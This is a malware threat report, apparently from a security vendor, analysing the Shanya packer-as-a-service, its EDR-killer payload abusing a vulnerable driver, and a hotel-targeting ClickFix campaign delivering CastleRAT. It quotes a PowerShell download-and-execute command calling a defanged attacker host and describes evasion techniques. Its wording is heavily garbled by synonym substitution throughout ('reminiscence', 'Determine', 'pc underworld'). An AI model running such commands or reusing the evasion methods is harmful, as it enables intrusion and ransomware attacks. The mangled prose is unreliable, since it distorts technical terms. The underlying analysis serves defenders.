We’ve lined packer-as-a-service choices from the pc underworld previously, beforehand dissecting impersonation campaigns and the rise of HeartCrypt, each in style amongst ransomware teams. Nonetheless, it’s a fast-changing panorama, and now we’re watching a brand new incarnation of the identical sort of service: the Shanya crypter — already favored by ransomware teams and taking on (to a point) the position that HeartCrypt has performed within the ransomware toolkit. We’ll take a look at its obvious origins, unpack the code, and study a focused an infection leveraging this device. Sophos protections towards this particular packer are lined on the finish of the article.
First glimpse: Underground promotions
Close to the top of 2024 we discovered references on underground boards to a brand new providing, VX Crypt, credited to an entity known as ‘Shanya’ (additionally the title of a river in western Russia). It needs to be famous that the ID of the publish writer, which we’ve obfuscated in Determine 1, was not “Shanya” however one other string solely.
Determine 1: A posting in Russian lists the options of “Shanya’s” VX Crypt providing
The attention-grabbing a part of the English translation of the options reads as follows:
Non-standard module loading into reminiscence, wrapper over the system loaderStub uniqueization. Every buyer receives their very own (comparatively) distinctive stub with a distinctive encryption algorithm upon buy. AMSI bypass to your .NET assemblies; the payload shouldn't be detected in reminiscence.Icons, model info, privilege escalation through manifest (UAC Bypass), Autorun with rerun can be found.Anti-VM, would not run in sandboxes, would not unpack within the cloud. Runtime safety is out there for native and 32-bit information (throughout testing). If it is a RAT (for instance), then with this safety it could run undetected for a very long time (_Indy impressed)· We are able to strive sideloading with the proper software program. It is doable to load your file within the context of one other course of, however it takes time to seek out vulnerabilities in the proper software program and time for testing.
The contact deal with for the creator of the packer is a Telegram deal with that features the string “shanya,” as proven in Determine 2:
Determine 2: The publish gives “Shanya’s” Telegram contact info (however we don’t)
The described characteristic set matches traits of a packer that we have now present in quite a few samples, so we imagine that our samples include the identical packer-as-a-service that this publish identifies as coming from “Shanya.” It is rather unlikely that two comparable choices would each be related to the identical title.
Early samples of the crypter
The early samples of the crypter had numerous artifacts left within the executable. For instance, a number of the early executable samples (hashes: 58995a6c6042ed15f765a11160690c45f76f8271, 83317a42290ef8577e1980dc6085ab789dcc0c8f) contained an executable title, shanya_crypter.exe, as proven on Line 1 in Determine 3:
Determine 3: Probably extra info than the Shanya builders meant to make obtainable, together with some unusual adjective selections
Additional early DLL samples had revealing DLL names, consisting of a morphed type of “Shanya.” In addition they contained info on the aim of the crypter, which is to bypass the detection capabilities of no matter safety resolution the goal could also be utilizing as proven in Determine 4:
Determine 4: The DLL samples embrace a nasty phrase; this is not going to be the final time dangerous phrases seem on this code
A few of the different names (barely obfuscated under) have been:
- 5h4ny4_f■ck4v_0x000735A5BFC229C.dll
- sh4nya_f■ck4v_0x000CFA853F46C84.dll
- shanya_f■ckav_0x0001DC90D59DCDBE.dll
This seems to be the identical packer famous in late spring by Cipher Tech Options because the Armillaria loader, which was used to ship a handful of malware households together with BumbleBee, ChuChuka, Lumma, the WHT downloader, and StealC. Afterward we discovered circumstances of a brand new EDR killer household and the CastleRAT backdoor utilizing malicious information created by this service.
The place we noticed it
Geographic distribution for nascent malware might be helpful info. In Shanya’s case, we have now encountered the packer in all 4 hemispheres over the course of 2025, however evaluation of infections per capita in affected nations indicated a considerably increased prevalence in sure nations late within the 12 months, as proven in Determine 5.
Determine 5: A distribution of Sophos-analyzed samples packed by Shanya throughout September-November 2025. Notice that this knowledge consists of each customer-operated machines and machines prone to be in use by folks testing the packer throughout this era. Although Tunisia looms massive on this chart, UAE is the extra attention-grabbing case, detecting Shanya way more continuously than the similar-in-size (± 1.1 million) nations of the Czech Republic (Czechia), Austria, and Switzerland. We additional notice that each one the infections we noticed in China have been geolocated within the Hong Kong-adjacent Shenzen space. (International locations reporting Shanya detections however with <10000 Sophos gadgets in place have been excluded from this chart for legibility)
Underneath the hood: The packed executables
Many of the following evaluation relies on the pattern with SHA256: 6645297a0a423564f99b9f474b0df234d6613d04df48a94cb67f541b8eb829d1, which is a variant of the EDR killer we’ll talk about later.
The loader code is extremely obfuscated, with miles of junk code akin to this:
Determine 6: The junk code flows like a river (maybe the Shanya)
The aim of this code is to construct a decryptor and loader in a reminiscence area, which might then decrypt the payload.
Hiding within the PEB
Shanya begins by initializing a desk construction that comprises necessary knowledge, akin to API addresses, that it’ll require. It then makes use of an offset to the GdiHandleBuffer discipline within the PEB (Course of Setting Block) as a safe pointer repository for the deal with of that desk. The next levels of the malware solely must name getPEB() and skim from a set, hardcoded offset (GdiHandleBuffer[46]) to immediately retrieve the advanced configuration desk, permitting for seamless and untraceable execution continuity. This construction will likely be utilized by the following stage, through which the shellcode performs the decoding course of.
Determine 7: Calling again to the desk smooths execution stream, making the malware much less noticeable
API hashing
As with different malware, Shanya dynamically resolves required Home windows API features by first parsing the PEB to find the PEB_LDR_DATA construction, which comprises the linked lists of all loaded modules. Utilizing a customized hashing algorithm, it then parses all export names till a match is discovered. That algorithm varies from pattern to pattern.
Anti-analysis test
Shanya calls RtlDeleteFunctionTable(0) & RtlDeleteFunctionTable(1) to carry out an anti-analysis test. By triggering the perform with an invalid context, the malware makes an attempt to induce an unhandled exception or crash if working underneath a user-mode debugger, thereby disrupting automated sandboxes and terminating handbook evaluation makes an attempt earlier than the payload might be totally executed.
Shanya checks whether or not RtlDeleteFunctionTable is hooked by an EDR. Whether it is hooked, it calculates the deal with which factors previous the EDR’s trampoline and skip to the unique, unhooked directions of RtlDeleteFunctionTable.
Determine 8: On the lookout for the hook
Payload
The next screenshot exhibits the intermediate type of the payload, when it’s already decrypted however nonetheless in compressed kind in reminiscence:
Determine 9: The payload is in place, however this isn’t even its closing kind
It’s then decompressed and loaded.
The loader masses a second occasion of a Home windows system DLL. In all of the circumstances we analyzed, this method part was shell32.dll. Determine 10 exhibits the module itemizing in x64dbg as an instance that there are certainly two cases of shell32.dll within the reminiscence.
Determine 10: Yet another occasion of shell32.dll than should be there
Determine 11 exhibits the unique DLL, loaded into the DLL reminiscence house:
Determine 11: A DLL the place a DLL needs to be…
And Determine 12 exhibits a second copy, loaded into the person code reminiscence house.
Determine 12: …and a DLL the place a DLL shouldn’t be
The 2 are apparently equivalent, with the identical PE part names and sizes. However in actuality, the start of the picture (virtually talking, the header and the .textual content part) is overwritten by the content material of the decrypted payload, after which loaded by the undocumented LdrLoadDll Home windows perform.
The unique exported features include junk knowledge, as proven in Determine 13:
Determine 13: The “copy” within the person code reminiscence house, with its junk knowledge
The loader then performs yet another trick, modifying the entry of the loaded module record (LDR_MODULE).
Each the complete DLL title and the bottom DLL title are modified, because the Determine 14 picture of the LDR_DATA_TABLE_ENTRY construction exhibits:
Determine 14: Mustard?
The modified DLL picture is flagged by the PE-SIEVE device (developed by hasherezade):
"mapping_scan" : {
"module" : "1ab0bbf0000",
"module_file" : "C:Home windowsSystem32mustard64.dll",
"mapped_file" : "C:Home windowsSystem32shell32.dll",
"standing" : 1
}
},
{
"headers_scan" : {
"standing" : 1,
"module" : "1ab0bbf0000",
"module_size" : "59000",
"module_file" : "C:Home windowsSystem32shell32.dll",
"is_connected_to_peb" : 1,
"is_pe_replaced" : 1,
"dos_hdr_modified" : 1,
"file_hdr_modified" : 1,
"nt_hdr_modified" : 1,
"ep_modified" : 1,
"sec_hdr_modified" : 1
}In an earlier iteration of the EDR killer the wmp.dll title was used, as proven in Determine 15:
Determine 15: The wmp.dll title within the feedback
In different circumstances a unique title was utilized, incorporating a direct (and offensive) callout to hasherezade:
Determine 16: That’s undoubtedly not “wmp.dll” underneath the black containers within the feedback
In one other case, this time involving a 32-bit loader (the payload was StealC), the shanya.dll title was used:
Determine 17: A 3rd instance has nothing value blacking out
Notable use circumstances
EDR killer
The primary traits of the Shanya-protected EDR killer are as follows.
It has been utilized in DLL side-loading eventualities, mostly together with two particular information:
- consent.exe (a clear Microsoft program associated to the Person Account Management (UAC) characteristic)
- msimg32.dll (the Shanya-packed malicious DLL)
In different circumstances, the side-loaded DLL has been named model.dll, rtworkq.dll, or wmsgapi.dll.
It drops two kernel drivers:
- ThrottleStop.sys/rwdrv.sys (respectable driver from TechPowerUp, abused on this context)
- hlpdrv.sys (a malicious unsigned kernel driver)
The user-mode loader/orchestrator of the user-mode killer is msimg32.dll. First it masses the weak clear driver, as proven in Determine 18:
Determine 18: Loading the ThrottleStop driver
Then, as proven in Determine 19, it masses the malicious driver:
Determine 19: The malicious driver is loaded subsequent
The user-mode killer has a big record of focused companies, as proven in Determine 20:
Determine 20: So many focused companies
And processes:
Determine 21: A protracted record of processes, together with some belonging to Sophos. (That doesn’t imply the try is profitable, however we’ll get into that in a second)
These service and course of names belong to safety merchandise which are focused by the EDR killer. The person mode killer searches the working processes and put in companies. If it finds a match, it sends a kill command to the malicious kernel driver, as proven in Determine 22:
Determine 22: Making an attempt to smite the safety merchandise it finds
The malicious kernel driver abuses the weak clear driver, gaining write entry that permits the termination and deletion of the processes and companies of the safety merchandise as proven in Determine 23:
Determine 23: And the shutdown
In a typical situation, we see this form of exercise paired with a ransomware an infection. The method tree in Determine 24 exhibits, for example, the deployment of the Akira ransomware, together with makes an attempt to execute two totally different variations of the EDR killer, each in DLL side-loading eventualities:
Determine 24: The method by which the EDR killer clears the way in which for a ransomware an infection, on this case Akira. (The F’s point out the variety of information written or learn)
The primary deployment we famous of this EDR killer occurred close to the top of April 2025, in a Medusa assault (as proven in Determine 25). It has been utilized in a number of ransomware operations since then, most continuously by Akira (as described by GuidePoint Safety in August), but additionally by Qilin and Crytox.
Determine 25: A distribution of Shanya-involved circumstances analyzed between April and November 2025, week by week
In motion: CastleRAT
To present a way of how this packer manifests within the wild, we’ll look briefly at a malware distribution marketing campaign that utilized Shanya, on this case to focus on accommodations.
It was reported in September 2025 as a part of a reserving.com-themed ClickFix marketing campaign, as proven in Determine 26:
Determine 26: Reviews of the an infection appeared on a social media website; the Polish-language “verification” display proven within the decrease half of the picture tips the focused person into loading malicious code
The file record reported by the researcher, as proven in Determine 27, matches the information we have now seen:
Determine 27: Acquainted names, sadly
We additionally noticed {that a} PowerShell script was used to obtain the following stage:
Malware title: C2_10a (T1071.001) Beacon time: 2025-09-06T11:32:18.000Z Command line: powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content material"
The upd script downloaded and unpacked the consent.zip archive, which contained the DLL side-loading parts proven in Determine 28:
Determine 28: Beginning to look relatively acquainted
We’ve seen the next obtain servers in use:
- biokdsl[.]com/upd
- biklkfd[.]com/upd
The archive that was downloaded had the title and hash 59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e: consa[.]zip . It registered for autostart after which executed the clear loader (consent.exe) as proven in Determine 29:
Determine 29: The clear loader abused
The clear executable then loaded the malicious DLL, named wmsgapi.dll, which was inflated by appended bytes to the massive measurement of 656MB. The ultimate payload right here has been recognized by RecordedFuture as CastleRAT.
Sophos protections
Sophos protections towards this malware embrace, however usually are not restricted to, ATK/Shanya-B, ATK/Shanya-C, and ATK/Shanya-D.
Conclusion
Packer-as-a-service choices and EDR killers will each be with us for the foreseeable future. The mixture of the 2 could be very in style with ransomware teams. As a result of there’s a want and a monetary motive, we will’t count on this specific malware sort to go away anytime quickly – and we’ll probably discover further-evolved variations sooner or later.
Indicators of compromise
A set of indicators of compromise related to Shanya is supplied on our GitHub.
